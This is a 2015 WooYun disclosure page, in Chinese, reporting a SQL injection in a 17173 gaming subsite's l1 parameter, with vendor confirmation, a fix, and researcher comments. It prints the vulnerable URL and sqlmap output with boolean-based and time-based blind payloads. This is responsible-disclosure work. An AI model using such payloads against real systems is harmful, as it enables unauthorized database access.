当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-094546

漏洞标题：17173游戏某分站SQL注入漏洞一枚

相关厂商：17173游戏

漏洞作者： 疏懒

提交时间：2015-01-29 20:57

修复时间：2015-02-04 10:28

公开时间：2015-02-04 10:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-29： 细节已通知厂商并且等待厂商处理中
2015-01-30： 厂商已经确认，细节仅向厂商公开
2015-02-04： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

RT

详细说明：

注入点

http://ly.db.17173.com/items.php?l1=31-40&q1=2&m1=2&lo1=4&x=47&y=14


经检测，参数l1存在注入

漏洞证明：

sqlmap identified the following injection points with a total of 109 HTTP(s) requests:
---
Place: GET
Parameter: l1
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: l1=31-40 AND 3767=3767&q1=2&m1=2&lo1=4&x=47&y=14
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: l1=31-40 AND SLEEP(5)&q1=2&m1=2&lo1=4&x=47&y=14
---
[13:10:25] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[13:10:25] [INFO] fetching database names
[13:10:25] [INFO] fetching number of databases


QQ截图20150129131415.jpg

修复方案：

过滤

版权声明：转载请注明来源 疏懒@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-01-30 10:15

厂商回复：

谢谢关注。问题很多，还在修复

最新状态：

2015-02-04：更新状态，谢谢！

漏洞评价：

评论

  1. 2015-01-29 20:58 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    注入点太多，后续不是特别重要的考虑不再走首

  2. 2015-01-30 10:01 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 ！！！)

    @浩天 每天首页都是17173注入，的确有点腻了。

  3. 2015-01-30 10:14 | 17173游戏(乌云厂商)

    @浩天 谢谢提醒建议~~更感谢各大牛的关注，安全没做好:(我们之后会根据老旧、重要程度等细考量的！！再次感谢:)

  4. 2015-01-30 10:27 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @17173游戏 外面传你们涨工资了，先涨10%，然后又涨15%，这是一道数学题，请问一共涨了百分之多少

  5. 2015-01-30 10:39 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 ！！！)

    @浩天 听说腾讯要收了17173，是真的么？

  6. 2015-01-30 11:03 | 17173游戏(乌云厂商)

    @浩天我个人数学不及格，算不出来~~如果是算工资涨幅，只能“官方”点说：不造谣不传谣!

  7. 2015-01-30 11:58 | g0odnight ( 实习白帽子 | Rank:83 漏洞数:19 | 么么哒，呵呵哒，么蛤蛤~)

    @17173游戏 话说你们很多废弃的站点为什么不关掉啊........看到很多最新更新日期都是10年11年的。这种站点一直挂在外面很危险啊

  8. 2015-01-30 12:18 | 17173游戏(乌云厂商)

    @g0odnight 这个有一部分是基于业务的需求，一部分是历史遗留问题暂不好确认，当然肯定还有一部分是因为人为疏忽导致没有下线。这种种，应该在很多公司可能都是很普遍的情况，不过无论如何，造成的安全隐患和问题，都是我们要着力解决的，所以如果你或者各位其他大牛有发现问题，麻烦提交给我们一下，先谢谢各位神仙了:)

  9. 2015-01-30 12:54 | 疏懒 ( 普通白帽子 | Rank:359 漏洞数:42 | 不能尽如人意，但求知足常乐~！)

    @浩天 @17173游戏 主要是看到能上首页，所以出来刷两波。。O(∩_∩)O